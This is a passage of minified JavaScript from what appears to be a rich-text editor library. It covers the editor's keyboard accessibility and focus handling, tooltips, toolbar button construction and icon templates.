r=d(t[n]);0===r.parents(".fr-dropdown-menu").length&&u.button.refresh(r)}},onRefresh:function k(e,t){u.events.on("popups.refresh.".concat(e),t)},onShow:function x(e,t){u.events.on("popups.show.".concat(e),t)},isVisible:v,setFileListHeight:a,areVisible:b,setPopupDimensions:function R(e,t){t&&e.find(".fr-upload-progress-layer").get(0).clientHeight<o&&(e.find(".fr-upload-progress").addClass("fr-height-auto"),u.popups.get("filesManager.insert").addClass("fr-height-auto"),e.find(".fr-upload-progress").removeClass("fr-height-set"),o=2e3),e.get(0).clientHeight>window.innerHeight/2&&(window.innerWidth<500?e.get(0).clientHeight>.6*r&&a(e):400<e.get(0).clientHeight&&a(e),o=e.find(".fr-upload-progress-layer").get(0).clientHeight);var n=window.innerWidth;switch(!0){case n<=320:e.width(200);break;case n<=420:e.width(250);break;case n<=520:e.width(300);break;case n<=720:e.width(400);break;case 720<n:e.width(530)}}}},kt.MODULES.accessibility=function(f){var l,p=f.$,o=!0;function c(t){for(var e=f.$el.find('[contenteditable="true"]'),n=!1,r=0;e.get(r);)p(e.get(r)).is(":focus")&&(n=!0),r++;if(t&&t.length&&!n){t.data("blur-event-set")||t.parents(".fr-popup").length||(f.events.$on(t,"blur",function(){var e=t.parents(".fr-toolbar, .fr-popup").data("instance")||f;e.events.blurActive()&&!f.core.hasFocus()&&e.events.trigger("blur"),setTimeout(function(){e.events.enableBlur()},100)},!0),t.data("blur-event-set",!0));var a=t.parents(".fr-toolbar, .fr-popup").data("instance")||f;!f.browser.safari||l&&null!=f.shared.safariSelection||(f.shared.safariSelection=f.selection.get().getRangeAt(0).cloneRange()),a.events.disableBlur(),t.get(0).focus(),f.shared.$f_el=t}}function u(e,t){var n=t?"last":"first",r=s(m(e))[n]();if(r.length)return c(r),!0}function i(e){return e.is("input, textarea, select")&&t(),f.events.disableBlur(),e.get(0).focus(),!0}function h(e,t){var n=e.find("input, textarea, button, select, span").filter(function(){return p(this).isVisible()}).not(":disabled"),r=n.first();if((n=r.parents(".fr-color-set").get(0)&&r.parents(".fr-popup").get(0)?n.filter("input"):t?n.last():n.first()).length)return i(n);if(f.shared.with_kb){var a=e.findVisible(".fr-active-item").first();if(a.length)return i(a);var o=e.findVisible("[tabIndex]").first();if(o.length)return i(o)}}function t(){0===f.$el.find(".fr-marker").length&&f.core.hasFocus()&&f.selection.save()}function d(){var e=f.popups.areVisible();if(e){var t=e.find(".fr-buttons");return t.find("button:focus, .fr-group span:focus").length?!u(e.data("instance").$tb):!u(t)}return!u(f.$tb)}function g(){var e=null;return f.shared.$f_el.is(".fr-dropdown.fr-active")?e=f.shared.$f_el:f.shared.$f_el.closest(".fr-dropdown-menu").prev().is(".fr-dropdown.fr-active")&&(e=f.shared.$f_el.closest(".fr-dropdown-menu").prev()),e}function s(e){for(var t=-1,n=0;n<e.length;n++)p(e[n]).hasClass("fr-open")&&(t=n);var r=e.index(f.$tb.find(".fr-more-toolbar.fr-expanded > button.fr-command").first());if(0<r&&-1!==t){var a=e.slice(r,e.length),o=(e=e.slice(0,r)).slice(0,t+1),i=e.slice(t+1,e.length);e=o;for(var s=0;s<a.length;s++)e.push(a[s]);for(var l=0;l<i.length;l++)e.push(i[l])}return e}function m(e){return e.findVisible("button:not(.fr-disabled), .fr-group span.fr-command").filter(function(e){var t=p(e).parents(".fr-more-toolbar");return 0===t.length||0<t.length&&t.hasClass("fr-expanded")})}function n(e,t,n){if(f.shared.$f_el){var r=g();r&&(f.button.click(r),f.shared.$f_el=r);var a=s(m(e)),o=a.index(f.shared.$f_el);if(0===o&&!n||o===a.length-1&&n){var i;if(t){if(e.parent().is(".fr-popup"))i=!h(e.parent().children().not(".fr-buttons"),!n);!1===i&&(f.shared.$f_el=null)}t&&!1===i||u(e,!n)}else c(p(a.get(o+(n?1:-1))));return!1}}function v(e,t){return n(e,t,!0)}function b(e,t){return n(e,t)}function C(e){if(f.shared.$f_el){var t;if(f.shared.$f_el.is(".fr-dropdown.fr-active"))return c(t=e?f.shared.$f_el.next().find(".fr-command:not(.fr-disabled)").first():f.shared.$f_el.next().find(".fr-command:not(.fr-disabled)").last()),!1;if(f.shared.$f_el.is("a.fr-command"))return(t=e?f.shared.$f_el.closest("li").nextAllVisible().first().find(".fr-command:not(.fr-disabled)").first():f.shared.$f_el.closest("li").prevAllVisible().first().find(".fr-command:not(.fr-disabled)").first()).length||(t=e?f.shared.$f_el.closest(".fr-dropdown-menu").find(".fr-command:not(.fr-disabled)").first():f.shared.$f_el.closest(".fr-dropdown-menu").find(".fr-command:not(.fr-disabled)").last()),c(t),!1}}function E(){if(f.shared.$f_el){if(f.shared.$f_el.hasClass("fr-dropdown"))f.button.click(f.shared.$f_el);else if(f.shared.$f_el.is("button.fr-back")){f.opts.toolbarInline&&(f.events.disableBlur(),f.events.focus());var e=f.popups.areVisible(f);e&&(f.shared.with_kb=!1),f.button.click(f.shared.$f_el),L(e)}else{if(f.events.disableBlur(),f.button.click(f.shared.$f_el),f.shared.$f_el.attr("data-group-name")){var t=f.$tb.find('.fr-more-toolbar[data-name="'.concat(f.shared.$f_el.attr("data-group-name"),'"]')),n=f.shared.$f_el;t.hasClass("fr-expanded")&&(n=t.findVisible("button:not(.fr-disabled)").first()),n&&c(n)}else if(f.shared.$f_el.attr("data-popup")){var r=f.popups.areVisible(f);r&&r.data("popup-button",f.shared.$f_el)}else if(f.shared.$f_el.attr("data-modal")){var a=f.modals.areVisible(f);a&&a.data("modal-button",f.shared.$f_el)}f.shared.$f_el=null}return!1}}function y(){if(f.shared.$f_el&&(f.events.disableBlur(),f.shared.$f_el.blur(),f.shared.$f_el=null),!1!==f.events.trigger("toolbar.focusEditor")&&(f.events.disableBlur(),f.$el.get(0).focus(),f.events.focus(),f.browser.safari&&f.shared.safariSelection)){var e=f.shared.safariSelection,t=e.startContainer,n=e.endContainer,r=e.startOffset,a=e.endOffset,o=f.doc.createRange();o.setStart(t,r),o.setEnd(n,a),f.selection.get().removeAllRanges(),f.selection.get().addRange(o),f.shared.safariSelection=null}}function a(r){r&&r.length&&(f.events.$on(r,"keydown",function(e){if(!p(e.target).is("a.fr-command, button.fr-command, .fr-group span.fr-command"))return!0;var t=r.parents(".fr-popup").data("instance")||r.data("instance")||f;f.shared.with_kb=!0;var n=t.accessibility.exec(e,r);return f.shared.with_kb=!1,n},!0),f.events.$on(r,"mouseenter","[tabIndex]",function(e){var t=r.parents(".fr-popup").data("instance")||r.data("instance")||f;if(!o)return e.stopPropagation(),void e.preventDefault();var n=p(e.currentTarget);t.shared.$f_el&&t.shared.$f_el.not(n)&&t.accessibility.focusEditor()},!0),f.$tb&&f.events.$on(f.$tb,"transitionend",".fr-more-toolbar",function(){f.shared.$f_el=p(document.activeElement)}))}function L(e){var t=e.data("popup-button");t&&setTimeout(function(){c(t),e.data("popup-button",null)},0)}function T(e){var t=f.popups.areVisible(e);t&&t.data("popup-button",null)}function e(e){var t=-1!==navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey;if(e.which!==kt.KEYCODE.F10||t||e.shiftKey||!e.altKey)return!0;f.shared.with_kb=!0;var n=f.popups.areVisible(f),r=!1;return n&&(r=h(n.children().not(".fr-buttons"))),r||d(),f.shared.with_kb=!1,e.preventDefault(),e.stopPropagation(),!1}return{_init:function r(){f.$wp?f.events.on("keydown",e,!0):f.events.$on(f.$win,"keydown",e,!0),f.events.on("mousedown",function(e){T(f),f.shared.$f_el&&f.el.isSameNode(f.shared.$f_el[0])&&(f.accessibility.restoreSelection(),e.stopPropagation(),f.events.disableBlur(),f.shared.$f_el=null)},!0),f.events.on("blur",function(){f.shared.$f_el=null,T(f)},!0)},registerPopup:function w(e){var t=f.popups.get(e),n=function r(c){var d=f.popups.get(c);return{_tiKeydown:function(e){var t=d.data("instance")||f;if(!1===t.events.trigger("popup.tab",[e]))return!1;var n=e.which,r=d.find(":focus").first();if(kt.KEYCODE.TAB===n){e.preventDefault();var a=d.children().not(".fr-buttons"),o=a.findVisible("input, textarea, button, select").not(".fr-no-touch input, .fr-no-touch textarea, .fr-no-touch button, .fr-no-touch select, :disabled").toArray(),i=o.indexOf(this)+(e.shiftKey?-1:1);if(0<=i&&i<o.length)return t.events.disableBlur(),p(o[i]).focus(),e.stopPropagation(),!1;var s=d.find(".fr-buttons");if(s.length&&u(s,Boolean(e.shiftKey)))return e.stopPropagation(),!1;if(h(a))return e.stopPropagation(),!1}else{if(kt.KEYCODE.ENTER!==n||!e.target||"TEXTAREA"===e.target.tagName)return kt.KEYCODE.ESC===n?(e.preventDefault(),e.stopPropagation(),t.accessibility.restoreSelection(),t.popups.isVisible(c)&&d.findVisible(".fr-back").length?(t.opts.toolbarInline&&(t.events.disableBlur(),t.events.focus()),t.button.exec(d.findVisible(".fr-back").first()),L(d)):t.popups.isVisible(c)&&d.findVisible(".fr-dismiss").length?t.button.exec(d.findVisible(".fr-dismiss").first()):(t.popups.hide(c),t.opts.toolbarInline&&t.toolbar.showInline(null,!0),L(d)),!1):kt.KEYCODE.SPACE===n&&(r.is(".fr-submit")||r.is(".fr-dismiss"))?(e.preventDefault(),e.stopPropagation(),t.events.disableBlur(),t.button.exec(r),!0):t.keys.isBrowserAction(e)?void e.stopPropagation():r.is("input[type=text], textarea")?void e.stopPropagation():kt.KEYCODE.SPACE===n&&(r.is(".fr-link-attr")||r.is("input[type=file]"))?void e.stopPropagation():(e.stopPropagation(),e.preventDefault(),!1);var l=null;0<d.findVisible(".fr-submit").length?l=d.findVisible(".fr-submit").first():d.findVisible(".fr-dismiss").length&&(l=d.findVisible(".fr-dismiss").first()),l&&(e.preventDefault(),e.stopPropagation(),t.events.disableBlur(),t.button.exec(l))}},_tiMouseenter:function(){var e=d.data("instance")||f;T(e)}}}(e);a(t.find(".fr-buttons")),f.events.$on(t,"mouseenter","tabIndex",n._tiMouseenter,!0),f.events.$on(t.children().not(".fr-buttons"),"keydown","[tabIndex]",n._tiKeydown,!0),f.popups.onHide(e,function(){(t.data("instance")||f).accessibility.restoreSelection()}),f.popups.onShow(e,function(){o=!1,setTimeout(function(){o=!0},0)})},registerToolbar:a,focusToolbarElement:c,focusToolbar:u,focusContent:h,focusPopup:function A(r){var a=r.children().not(".fr-buttons");a.data("mouseenter-event-set")||(f.events.$on(a,"mouseenter","[tabIndex]",function(e){var t=r.data("instance")||f;if(!o)return e.stopPropagation(),void e.preventDefault();var n=a.find(":focus").first();n.length&&!n.is("input, button, textarea, select")&&(t.events.disableBlur(),n.blur(),t.events.disableBlur(),t.events.focus())}),a.data("mouseenter-event-set",!0)),!h(a)&&f.shared.with_kb&&u(r.find(".fr-buttons"))},focusModal:function _(e){f.core.hasFocus()||(f.events.disableBlur(),f.events.focus()),f.accessibility.saveSelection(),f.events.disableBlur(),f.el.blur(),f.selection.clear(),f.events.disableBlur(),f.shared.with_kb?e.find(".fr-command[tabIndex], [tabIndex]").first().focus():e.find("[tabIndex]").first().focus()},focusEditor:y,focusPopupButton:L,focusModalButton:function S(e){var t=e.data("modal-button");t&&setTimeout(function(){c(t),e.data("modal-button",null)},0)},hasFocus:function k(){return null!==f.shared.$f_el},exec:function x(e,t){var n=-1!==navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey,r=e.which,a=!1;return r!==kt.KEYCODE.TAB||n||e.shiftKey||e.altKey?r!==kt.KEYCODE.ARROW_RIGHT||n||e.shiftKey||e.altKey?r!==kt.KEYCODE.TAB||n||!e.shiftKey||e.altKey?r!==kt.KEYCODE.ARROW_LEFT||n||e.shiftKey||e.altKey?r!==kt.KEYCODE.ARROW_UP||n||e.shiftKey||e.altKey?r!==kt.KEYCODE.ARROW_DOWN||n||e.shiftKey||e.altKey?r!==kt.KEYCODE.ENTER&&r!==kt.KEYCODE.SPACE||n||e.shiftKey||e.altKey?r!==kt.KEYCODE.ESC||n||e.shiftKey||e.altKey?r!==kt.KEYCODE.F10||n||e.shiftKey||!e.altKey||(a=d()):a=function o(e){if(f.shared.$f_el){var t=g();return t?(f.button.click(t),c(t)):e.parent().findVisible(".fr-back").length?(f.shared.with_kb=!1,f.opts.toolbarInline&&(f.events.disableBlur(),f.events.focus()),f.button.exec(e.parent().findVisible(".fr-back")).first(),L(e.parent())):f.shared.$f_el.is("button, .fr-group span")&&(e.parent().is(".fr-popup")?(f.accessibility.restoreSelection(),f.shared.$f_el=null,!1!==f.events.trigger("toolbar.esc")&&(f.popups.hide(e.parent()),f.opts.toolbarInline&&f.toolbar.showInline(null,!0),L(e.parent()))):y()),!1}}(t):a=E():a=function i(){return f.shared.$f_el&&f.shared.$f_el.is(".fr-dropdown:not(.fr-active)")?E():C(!0)}():a=function s(){return C()}():a=b(t):a=b(t,!0):a=v(t):(l=r,a=v(t,!0)),f.shared.$f_el||void 0!==a||(a=!0),!a&&f.keys.isBrowserAction(e)&&(a=!0),!!a||(e.preventDefault(),e.stopPropagation(),!1)},saveSelection:t,restoreSelection:function R(){f.$el.find(".fr-marker").length&&(f.events.disableBlur(),f.selection.restore(),f.events.enableBlur())}}},Object.assign(kt.DEFAULTS,{tooltips:!0}),kt.MODULES.tooltip=function(p){var u=p.$;function r(){p.helpers.isMobile()||p.$tooltip&&p.$tooltip.removeClass("fr-visible").css("left","-3000px").css("position","fixed")}function a(e,t){if(!p.helpers.isMobile()){var n=e.attr("id")&&e.attr("id").split("-")[0],r=e.attr("title"),a=p.opts.trackChangesEnabled,o=p.opts.showChangesEnabled;if(p.opts.toolbarContainer){for(var i=!1,s=0;s<kt.INSTANCES.length;s++)if(kt.INSTANCES[s].core.hasFocus()){a=kt.INSTANCES[s].opts.trackChangesEnabled,o=kt.INSTANCES[s].opts.showChangesEnabled,i=!0;break}i||(o=a=e.hasClass("fr-active"))}if("trackChanges"===n)r=a?"Disable Track Changes":"Enable Track Changes";else if("showChanges"===n)r=o?"Hide Changes":"Show Changes";else if(("applyAll"===n||"removeAll"===n||"applyLast"===n||"removeLast"===n)&&0===p.track_changes.getPendingChanges().length)return;if(e.data("title",r),e.data("title")){p.$tooltip||function f(){if(p.opts.tooltips&&!p.helpers.isMobile()){if(p.shared.$tooltip)p.$tooltip=p.shared.$tooltip;else{p.shared.$tooltip=u(p.doc.createElement("DIV")).addClass("fr-tooltip"),p.$tooltip=p.shared.$tooltip,p.opts.theme&&p.$tooltip.addClass("".concat(p.opts.theme,"-theme"));var e={};p.$wp&&0<p.$wp.length&&(e=p.$wp.closest("dialog")),0<e.length?e.first().append(p.$tooltip):u(p.o_doc).find("body").first().append(p.$tooltip)}p.events.on("shared.destroy",function(){p.$tooltip.html("").removeData().remove(),p.$tooltip=null},!0)}}(),e.removeAttr("title"),p.$tooltip.text(p.language.translate(e.data("title"))),p.$tooltip.addClass("fr-visible");var l=e.offset().left+(e.outerWidth()-p.$tooltip.outerWidth())/2;l<0&&(l=0),l+p.$tooltip.outerWidth()>u(p.o_win).width()&&(l=u(p.o_win).width()-p.$tooltip.outerWidth()),void 0===t&&(t=p.opts.toolbarBottom),e.offset().top-u(window).scrollTop()+e.outerHeight()+10>=u(window).height()&&(t=!0);var c=t?e.offset().top-p.$tooltip.height():e.offset().top+e.outerHeight();p.$tooltip.css("position",""),p.$tooltip.css("left",l),p.$tooltip.css("top",Math.ceil(c));var d={};p.$wp&&0<p.$wp.length&&(d=p.$wp.closest("dialog")),0<d.length?(p.$tooltip.css("margin-left",-d.first().offset().left),p.$tooltip.css("margin-top",-d.first().offset().top)):"static"!==u(p.o_doc).find("body").first().css("position")?(p.$tooltip.css("margin-left",-u(p.o_doc).find("body").first().offset().left),p.$tooltip.css("margin-top",-u(p.o_doc).find("body").first().offset().top)):(p.$tooltip.css("margin-left",""),p.$tooltip.css("margin-top",""))}}}return{hide:r,to:a,bind:function o(e,t,n){p.opts.tooltips&&!p.helpers.isMobile()&&(p.events.$on(e,"mouseover",t,function(e){p.node.hasClass(e.currentTarget,"fr-disabled")||p.edit.isDisabled()||a(u(e.currentTarget),n)},!0),p.events.$on(e,"mouseout ".concat(p._mousedown," ").concat(p._mouseup),t,function(){r()},!0))}}},kt.TOOLBAR_VISIBLE_BUTTONS=3,kt.MODULES.button=function(g){var h=g.$,i=[];(g.opts.toolbarInline||g.opts.toolbarContainer)&&(g.shared.buttons||(g.shared.buttons=[]),i=g.shared.buttons);var s=[];function l(e,t,n){for(var r=h(),a=0;a<e.length;a++){var o=h(e[a]);if(o.is(t)&&(r=r.add(o)),n&&o.is(".fr-dropdown")){var i=o.next().find(t);r=r.add(i)}}return r}function m(e,t){var n,r=h();if(!e)return r;for(n in r=(r=r.add(l(i,e,t))).add(l(s,e,t)),g.shared.popups)if(Object.prototype.hasOwnProperty.call(g.shared.popups,n)){var a=g.shared.popups[n].children().find(e);r=r.add(a)}for(n in g.shared.modals)if(Object.prototype.hasOwnProperty.call(g.shared.modals,n)){var o=g.shared.modals[n].$modal.find(e);r=r.add(o)}return r}function o(e){var t=e.next(),n=g.node.hasClass(e.get(0),"fr-active"),r=m(".fr-dropdown.fr-active").not(e),a=e.parents(".fr-toolbar, .fr-popup").data("instance")||g;a.helpers.isIOS()&&!a.el.querySelector(".fr-marker")&&(a.selection.save(),a.selection.clear(),a.selection.restore()),t.parents(".fr-more-toolbar").addClass("fr-overflow-visible");var o=0,i=0,s=t.find("> .fr-dropdown-wrapper");if(!n){var l=e.data("cmd");t.find(".fr-command").removeClass("fr-active").attr("aria-selected",!1),kt.COMMANDS[l]&&kt.COMMANDS[l].refreshOnShow&&kt.COMMANDS[l].refreshOnShow.apply(a,[e,t]),t.css("left",e.offset().left-e.parents(".fr-btn-wrap, .fr-toolbar, .fr-buttons").offset().left-("rtl"===g.opts.direction?t.width()-e.outerWidth():0)),t.addClass("test-height"),o=t.outerHeight(),i=g.helpers.getPX(s.css("max-height")),t.removeClass("test-height"),t.css("top","").css("bottom","");var c=e.outerHeight()/10;if(!g.opts.toolbarBottom&&t.offset().top+e.outerHeight()+o<h(g.o_doc).height())t.css("top",e.position().top+e.outerHeight()-c);else{var d=0,f=e.parents(".fr-more-toolbar");0<f.length&&(d=f.first().height()),t.css("bottom",e.parents(".fr-popup, .fr-toolbar").first().height()-d-e.position().top)}}(e.addClass("fr-blink").toggleClass("fr-active"),e.hasClass("fr-options"))&&e.prev().toggleClass("fr-expanded");e.hasClass("fr-active")?(t.attr("aria-hidden",!1),e.attr("aria-expanded",!0),function u(e,t,n){n<=t&&(e.parent().css("overflow","auto"),e.parent().css("overflow-x","hidden")),e.css("height",Math.min(t,n))}(s,o,i)):(t.attr("aria-hidden",!0).css("overflow",""),e.attr("aria-expanded",!1),s.css("height","")),setTimeout(function(){e.removeClass("fr-blink")},300),t.css("margin-left",""),t.offset().left+t.outerWidth()>g.$sc.offset().left+g.$sc.width()&&t.css("margin-left",-(t.offset().left+t.outerWidth()-g.$sc.offset().left-g.$sc.width())),t.offset().left<g.$sc.offset().left&&"rtl"===g.opts.direction&&t.css("margin-left",g.$sc.offset().left),r.removeClass("fr-active").attr("aria-expanded",!1).next().attr("aria-hidden",!0).css("overflow","").find("> .fr-dropdown-wrapper").css("height",""),r.prev(".fr-expanded").removeClass("fr-expanded"),r.parents(".fr-toolbar:not(.fr-inline)").css("zIndex",""),0!==e.parents(".fr-popup").length||g.opts.toolbarInline||(g.node.hasClass(e.get(0),"fr-active")?g.$tb.css("zIndex",(g.opts.zIndex||1)+4):g.$tb.css("zIndex",""));var p=t.find("a.fr-command.fr-active").first();g.helpers.isMobile()||(p.length?(g.accessibility.focusToolbarElement(p),s.scrollTop(Math.abs(p.parents(".fr-dropdown-content").offset().top-p.offset().top)-p.offset().top)):(g.accessibility.focusToolbarElement(e),s.scrollTop(0)))}function c(e){e.addClass("fr-blink"),setTimeout(function(){e.removeClass("fr-blink")},500);for(var t=e.data("cmd"),n=[];void 0!==e.data("param".concat(n.length+1));)n.push(e.data("param".concat(n.length+1)));var r=m(".fr-dropdown.fr-active");r.length&&(r.removeClass("fr-active").attr("aria-expanded",!1).next().attr("aria-hidden",!0).css("overflow","").find("> .fr-dropdown-wrapper").css("height",""),r.prev(".fr-expanded").removeClass("fr-expanded"),r.parents(".fr-toolbar:not(.fr-inline)").css("zIndex","")),e.parents(".fr-popup, .fr-toolbar").data("instance").commands.exec(t,n)}function t(e){var t=e.parents(".fr-popup, .fr-toolbar").data("instance"),n=g.popups.get("link.insert");if(0===e.parents(".fr-popup").length&&e.data("popup")&&!e.hasClass("fr-btn-active-popup")&&(e.attr("id")==="insertLink-".concat(g.id)&&n&&n.hasClass("fr-active")||e.addClass("fr-btn-active-popup")),0!==e.parents(".fr-popup").length||e.data("popup")||t.popups.hideAll(),t.popups.areVisible()&&!t.popups.areVisible(t)){for(var r=0;r<kt.INSTANCES.length;r++)kt.INSTANCES[r]!==t&&kt.INSTANCES[r].popups&&kt.INSTANCES[r].popups.areVisible()&&kt.INSTANCES[r].$el.find(".fr-marker").remove();t.popups.hideAll()}g.node.hasClass(e.get(0),"fr-dropdown")?o(e):(!function a(e){c(e)}(e),kt.COMMANDS[e.data("cmd")]&&!1!==kt.COMMANDS[e.data("cmd")].refreshAfterCallback&&t.button.bulkRefresh())}function d(e){t(h(e.currentTarget))}function f(e){var t=e.find(".fr-dropdown.fr-active");t.length&&(t.removeClass("fr-active").attr("aria-expanded",!1).next().attr("aria-hidden",!0).css("overflow","").find("> .fr-dropdown-wrapper").css("height",""),t.parents(".fr-toolbar:not(.fr-inline)").css("zIndex",""),t.prev().removeClass("fr-expanded"))}function p(e){e.preventDefault(),e.stopPropagation()}function u(e){if(e.stopPropagation(),!g.helpers.isMobile())return!1}function v(e){var t=1<arguments.length&&arguments[1]!==undefined?arguments[1]:{},n=2<arguments.length?arguments[2]:undefined;if(g.helpers.isMobile()&&!1===t.showOnMobile)return"";var r=t.displaySelection;"function"==typeof r&&(r=r(g));var a="";if("options"!==t.type)if(r){var o="function"==typeof t.defaultSelection?t.defaultSelection(g):t.defaultSelection;a='<span style="width:'.concat(t.displaySelectionWidth||100,'px">').concat(g.language.translate(o||t.title),"</span>")}else a=g.icon.create(t.icon||e),a+='<span class="fr-sr-only">'.concat(g.language.translate(t.title)||"","</span>");var i=t.popup?' data-popup="true"':"",s=t.modal?' data-modal="true"':"",l=g.shortcuts.get("".concat(e,"."));l=l?" (".concat(l,")"):"";var c="".concat(e,"-").concat(g.id),d="dropdown-menu-".concat(c),f='<button id="'.concat(c,'"').concat(t.more_btn?' data-group-name="'.concat(c,'" '):"",'type="button" tabIndex="-1" role="button"').concat(t.toggle?' aria-pressed="false"':"").concat("dropdown"===t.type||"options"===t.type?' aria-controls="'.concat(d,'" aria-expanded="false" aria-haspopup="true"'):"").concat(t.disabled?' aria-disabled="true"':"",' title="').concat(g.language.translate(t.title)||"").concat(l,'" class="fr-command fr-btn').concat("dropdown"===t.type||"options"==t.type?" fr-dropdown":"").concat("options"==t.type?" fr-options":"").concat("more"==t.type?" fr-more":"").concat(t.displaySelection?" fr-selection":"").concat(t.back?" fr-back":"").concat(t.disabled?" fr-disabled":"").concat(n?"":" fr-hidden",'" data-cmd="').concat(e,'"').concat(i).concat(s,">").concat(a,"</button>");if("dropdown"===t.type||"options"===t.type){var p='<div id="'.concat(d,'" class="fr-dropdown-menu" role="listbox" aria-labelledby="').concat(c,'" aria-hidden="true"><div class="fr-dropdown-wrapper" role="presentation"><div class="fr-dropdown-content" role="presentation">');p+=function u(e,t){var n="";if(t.html)"function"==typeof t.html?n+=t.html.call(g):n+=t.html;else{var r=t.options;for(var a in"function"==typeof r&&(r=r()),n+='<ul class="fr-dropdown-list" role="presentation">',r)if(Object.prototype.hasOwnProperty.call(r,a)){var o=g.shortcuts.get("".concat(e,".").concat(a));o=o?'<span class="fr-shortcut">'.concat(o,"</span>"):"",n+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="'.concat("options"===t.type?e.replace(/Options/g,""):e,'" data-param1="').concat(a,'" title="').concat(r[a],'">').concat(g.language.translate(r[a]),"</a></li>")}n+="</ul>"}return n}(e,t),f+=p+="</div></div></div>"}return t.hasOptions&&t.hasOptions.apply(g)&&(f='<div class="fr-btn-wrap">'.concat(f," ").concat(v(e+"Options",Object.assign({},t,{type:"options",hasOptions:!1}),n)," </div>")),f}function e(a){var o=g.$tb&&g.$tb.data("instance")||g;if(!1===g.events.trigger("buttons.refresh"))return!0;setTimeout(function(){for(var e=o.selection.inEditor()&&o.core.hasFocus(),t=0;t<a.length;t++){var n=h(a[t]),r=n.data("cmd");0===n.parents(".fr-popup").length?e||kt.COMMANDS[r]&&kt.COMMANDS[r].forcedRefresh?o.button.refresh(n):g.node.hasClass(n.get(0),"fr-dropdown")||(n.removeClass("fr-active"),n.attr("aria-pressed")&&n.attr("aria-pressed",!1)):n.parents(".fr-popup").isVisible()&&o.button.refresh(n)}},0)}function n(){e(i),e(s)}function r(){i=[],s=[]}g.shared.popup_buttons||(g.shared.popup_buttons=[]),s=g.shared.popup_buttons;var a=null;function b(){clearTimeout(a),a=setTimeout(n,50)}return{_init:function C(){g.opts.toolbarInline?g.events.on("toolbar.show",n):(g.events.on("mouseup",b),g.events.on("keyup",b),g.events.on("blur",b),g.events.on("focus",b),g.events.on("contentChanged",b),g.helpers.isMobile()&&g.events.$on(g.$doc,"selectionchange",n)),g.events.on("shared.destroy",r)},build:v,buildList:function E(e,t){for(var n="",r=0;r<e.length;r++){var a=e[r],o=kt.COMMANDS[a];o&&"undefined"!=typeof o.plugin&&g.opts.pluginsEnabled.indexOf(o.plugin)<0||(o?n+=v(a,o,void 0===t||0<=t.indexOf(a)):"|"===a?n+='<div class="fr-separator fr-vs" role="separator" aria-orientation="vertical"></div>':"-"===a&&(n+='<div class="fr-separator fr-hs" role="separator" aria-orientation="horizontal"></div>'))}return n},buildGroup:function y(e){var t="",n="";for(var r in e){var a=e[r];if(a.buttons){for(var o="",i="",s=0,l="left",c=kt.TOOLBAR_VISIBLE_BUTTONS,d=0;d<a.buttons.length;d++){var f=a.buttons[d],p=kt.COMMANDS[f];p||("|"==f?o+='<div class="fr-separator fr-vs" role="separator" aria-orientation="vertical"></div>':"-"==f&&(o+='<div class="fr-separator fr-hs" role="separator" aria-orientation="horizontal"></div>')),!p||p&&"undefined"!=typeof p.plugin&&g.opts.pluginsEnabled.indexOf(p.plugin)<0||(e[r].align!==undefined&&(l=e[r].align),e[r].buttonsVisible!==undefined&&(c=e[r].buttonsVisible),e.showMoreButtons&&c<=s?i+=v(f,p,!0):o+=v(f,p,!0),s++)}if(e.showMoreButtons&&c<s){var u=r,h=kt.COMMANDS[u];h.more_btn=!0,o+=v(u,h,!0)}"trackChanges"!==r&&(t+='<div class="fr-btn-grp fr-float-'.concat(l,'">').concat(o,"</div>")),e.showMoreButtons&&0<i.length&&(n+='<div class="fr-more-toolbar" data-name="'.concat(r+"-"+g.id,'">').concat(i,"</div>"))}}return g.opts.toolbarBottom?g.helpers.isMobile()?'<div class="fr-bottom-extended">'.concat(n,"</div><div>").concat(t,"</div>"):"".concat(n,'<div class="fr-newline"></div>').concat(t):"".concat(t,'<div class="fr-newline"></div>').concat(n)},bindCommands:function L(t,e){g.events.bindClick(t,".fr-command:not(.fr-disabled)",d),g.events.$on(t,"".concat(g._mousedown," ").concat(g._mouseup," ").concat(g._move),".fr-dropdown-menu",p,!0),g.events.$on(t,"".concat(g._mousedown," ").concat(g._mouseup," ").concat(g._move),".fr-dropdown-menu .fr-dropdown-wrapper",u,!0);var n=t.get(0).ownerDocument,r="defaultView"in n?n.defaultView:n.parentWindow;function a(e){(!e||e.type===g._mouseup&&e.target!==h("html").get(0)||"keydown"===e.type&&(g.keys.isCharacter(e.which)&&!g.keys.ctrlKey(e)||e.which===kt.KEYCODE.ESC))&&(f(t),g.opts.iframe&&function r(e){var t=e.find(".fr-popup.fr-active");if(t.length){t.removeClass("fr-active").attr("aria-expanded",!1).next().attr("aria-hidden",!0).css("overflow","").find("> .fr-dropdown-wrapper").css("height",""),t.parents(".fr-toolbar:not(.fr-inline)").css("zIndex",""),t.prev().removeClass("fr-expanded");var n=g.$tb.find(".fr-btn-active-popup");h(n[0]).removeClass("fr-btn-active-popup")}}(t))}g.events.$on(h(r),"".concat(g._mouseup," resize keydown"),a,!0),g.opts.iframe&&g.events.$on(g.$win,g._mouseup,a,!0),g.node.hasClass(t.get(0),"fr-popup")?h.merge(s,t.find(".fr-btn").toArray()):h.merge(i,t.find(".fr-btn").toArray()),g.tooltip.bind(t,".fr-btn, .fr-title",e)},refresh:function T(e){var t,n=e.parents(".fr-popup, .fr-toolbar").data("instance")||g,r=e.data("cmd");g.node.hasClass(e.get(0),"fr-dropdown")?t=e.next():(e.removeClass("fr-active"),e.attr("aria-pressed")&&e.attr("aria-pressed",!1)),kt.COMMANDS[r]&&kt.COMMANDS[r].refresh?kt.COMMANDS[r].refresh.apply(n,[e,t]):g.refresh[r]&&n.refresh[r](e,t)},bulkRefresh:n,exec:c,click:t,hideActiveDropdowns:f,addButtons:function w(e){for(var t=0;t<e.length;t++)i.push(e[t])},getButtons:m,getPosition:function A(e){var t=e.offset().left,n=g.opts.toolbarBottom?10:e.outerHeight()-10;return{left:t,top:e.offset().top+n}}}},kt.ICON_TEMPLATES={font_awesome:'<i class="fa fa-[NAME]" aria-hidden="true"></i>',font_awesome_5:'<i class="fas fa-[FA5NAME]" aria-hidden="true"></i>',font_awesome_5r:'<i class="far fa-[FA5NAME]" aria-hidden="true"></i>',font_awesome_5l:'<i class="fal fa-[FA5NAME]" aria-hidden="true"></i>',font_awesome_5b:'<i class="fab fa-[FA5NAME]" aria-hidden="true"></i>',text:'<span style="text-align: center;">[NAME]</span>',image:"<img src=[SRC] alt=[ALT] />",svg:'<svg class="fr-svg" 